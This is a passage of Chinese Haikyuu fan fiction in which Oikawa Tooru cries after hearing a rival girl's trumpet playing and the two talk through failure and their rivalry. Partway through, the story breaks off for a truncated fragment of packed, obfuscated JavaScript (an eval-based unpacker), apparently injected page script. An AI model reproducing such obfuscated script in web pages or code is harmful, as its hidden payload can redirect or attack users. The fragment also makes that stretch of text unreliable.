她转过头,想要看看及川彻的反应确认自己的音乐有没有起到疏解情绪的作用。 啪嗒、啪嗒。 她听见泛咸的眼泪落在青绿草地,把浅浅的小草都弄焉了。 那是及川彻的眼泪。 小号的乐音戛然而止,琴吹悠手足无措地盯着及川彻,想去拿手帕,又看见他随意地抹了把自己的眼泪。 及川彻眼眶发红,干巴巴地说:“我没想哭。” 琴吹悠相当困惑。 怎么她把自己吹通透了,反而把别人吹哭了呢。 及川彻对上琴吹悠讶异的目光,又抹了把眼睛,指责:“我真没想哭的,不就是一次训练赛,有什么好哭的,说起失败,我都输了不知道多少次了,但是你——” 他滔滔不绝:“——你到底为什么,要把我输的所有情绪杂糅在一起,整成一个压缩包,混在你这个组曲里面,一股脑丢给我,这是精神攻击!” 不得了,他听出这是「组曲」,而且还是琴吹悠凭借本能选曲的,超强失意曲目片段组合包。 虽然他哭得很可怜,但琴吹悠还是忍不住犟嘴:“我没吹你,吹得是我自己。” 及川彻一愣,他声音放轻:“那你肯定也偷偷哭了,我听得见。” 琴吹悠冷酷:“不,我没有。” 及川彻:“我听见了!” 从你的乐音里。 他似乎转瞬就把自己的伤感时刻抛之脑后了,转而帮琴吹悠支招:“你看,你平时在别人面前装模作样,实际上是个啥样都被我撞见了。” “你要是想哭的话,也可以偷偷找我哭,我什么时候把这种事情和别人说了,我不会笑你的。” 琴吹悠依旧冷酷拒绝:“不要。” “而且,就算你不笑我,我也会把你刚刚输了训练赛哭了的事情告诉小岩的。” 及川彻瞳孔微颤:“你赖皮,胡说八道,我明明是没抗住你的精神攻击。” 琴吹悠没忍住,抱着金色的小号,身子一颤一颤地笑出了声。 她抹了抹眼边的泪花:“好了,我不告诉小岩就是了。” 及川彻狐疑询问:“真的?” 他伸出手指:“拉勾。” 琴吹悠嫌弃:“我幼稚园时期就不跟别人拉勾了。” 她竖起小拇指。 及川彻哼了一声,勾住她的小指,大拇指响亮地盖了个章:“嫌弃又怎样,还不是要跟我拉勾。” 他栗色的头发在夕阳下,像被熬化的枫糖浆,及川彻敛神,认真说道:“如果你真的想哭,我不会告诉别人的,哭是很正常的发泄情绪的手段。” 琴吹悠好奇:“所以你经常哭吗?” 及川彻哈了一声:“本人从小到大哭的次数,两只手都数得过来……你看我手干嘛?” 琴吹悠认真:“我看你是不是便宜了,两只手长了一百根手指。” 她看着及川彻吃瘪的表情,又笑出了声。 她询问:“你讨厌失败吗?” 及川彻秒答:“全世界最讨厌的就是失败,但我能接受它。” 琴吹悠抱膝,歪着脑袋:“但它很不讲道理,好像把你的一切都否定了。” 及川彻啧了一声:“喂,你是不是从小到大就没输过几次,刚开始都这样,把那一次的失败看得特别沉重。” 琴吹悠:“你不会想说,输麻了就行吧。” 及川彻:“拜托,我的境界哪有那么低。” “我觉得,你得认清自己真正热爱的东西是什么,喜欢的是排球本身,还是赢了比赛自身的成就感,很多时候它们都混在一起,让人分不清,又或者彼此影响,因为赢了比赛,慢慢爱上了排球……” 他看着波光粼粼的湖面:“假如你已经爱上排球本身了,那一路上的失败都算不上什么,它会动摇你的热爱吗?” “你只会汲取失败的经验,不断精进自己的水平,这就是输多了懂得的道理。” “你呢…”及川彻看向歪着脑袋的琴吹悠,比起平常争锋相对的相处,他们好像少有这样平和地对话,连同被夕阳余晖笼罩着的一隅一般,给人不真实的感觉。 他定了定神,接着说:“你是我及川大人亲自指定的死对头,所以,我也可以勉强肯定一下你对小号的热爱,失败对你来说,也不算什么吧?” 琴吹悠放空,她回道:“当然。” 她知道自己好强,和爱哭鬼及川彻的虚张声势不同,她是真的没有哭过。 ——她的乐音里真的有哭声吗,为什么及川彻听得见? 很快,这些疑问立马被另一重想法掩盖。 “凡音之起,由人心生也。” 除了技巧,她的情感也能感染到他人了吗? 琴吹悠从草坪上站起,她背对着身后浑圆的夕阳,金色的长发盈着光,她兴奋:“我的演奏,很动人吗!” 及川彻本想就着过往的相处模式,嘴硬地回一句“就那样”,但与琴吹悠满怀期待的眼睛对望,他一时丧失了对语言的控制力,张了张口: “嗯。” 琴吹悠来回踱步,有点懊恼:“应该把刚刚吹得录下来,让老师听一听,评价一下……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他继续盘点,脑海也愈发清明:“没错了,我俩争锋相对也差不多是从那时候开始的。” 他睁大双眼:“琴吹悠,你你你……” 琴吹悠:“我怎么样?” 她索性认下:“假如我看到你打二传,跑过去跟你说,嘿嘿,你的二传水平不错哦,是我认识的同龄人中的第二名,很棒了。已知我只认识宫城县的二传手,并且对排球一知半解,然后我在说了这番话后,根本不告知所谓的「第一」是谁,你难道会看我很顺眼吗?” 及川彻:…… 这样一说,貌似相当欠打。 他质疑:“那你为什么不直接把这个原因告诉我?” 琴吹悠扭头:“我就是不想说。” “所以我现在是第一了吗?” 及川彻长吸一口气,看着面前这位TOP癌晚期女士,客观评判:“那时候我没有很懂小号,现在的我觉得,你的演奏比那时候偶然听到的人厉害。” 琴吹悠:“说的跟你现在很懂小号一样。” 及川彻:“喂!” 琴吹悠思索:“现在既然你认下我这个第一,好像我们没有什么继续当死对头的理由了,要不我们当好朋友,就跟我和小岩一样?” 及川彻抓的重点有点偏:“你和小岩,什么时候背着我成为好朋友了?小岩他居然叛变了!” 琴吹悠心想,自然是在交换你的黑料时建立的深厚友谊。 但她绝对不会把这种事告诉及川彻的。 停战似乎没什么不好。 虽然他们开战的理由也很幼稚,但停战,他和琴吹悠也不用每天斗嘴,说不定还能跟正常朋友那样相处,他们性格相似,也有蛮多的共同语言,还能一起把小岩搞得头大。 百利而无一害。 他没有什么女生朋友,即使自己也很喜欢被粉丝后援会喊加油的感觉,但终究不是朋友。 女生之间还会有什么其他的话题呢? 他的脑海中蹦出了及川彻二号,琴吹悠的好闺闺版,在他的想象里,及川二彻听着琴吹悠分享恋爱话题,对着琴吹悠分享的心动对象大肆点评。 “这也不好,那也不好。” 琴吹悠苦恼:“这也不好,那也不好,你觉得哪样才好呢?” 光是听她分享这种话题,他就觉得哪里都不好。 及川彻弄不懂自己莫名的心绪,和说不上来的烦躁,他下意识脱口而出:“不好。” 这次轮到琴吹悠震惊了:“哈,你什么毛病,我不跟你争锋相对,你还不乐意了吗?” 他就是不乐意。 和琴吹悠针锋相对的人好歹只有一个,和她做“好朋友”,岂不是泯然众人了。 他说:“我觉得,我们俩骂来骂去也蛮好的……” 琴吹悠后退半步,她肯定:“你绝对是抖M。” 她打开手机,给小岩发送语音:“小岩,你上次说的太对了!” 琴吹悠把金黄色的小号装进包里,她朝还傻愣在原地的及川彻笑了笑,说:“走吧,死对头,太阳都要下山了。”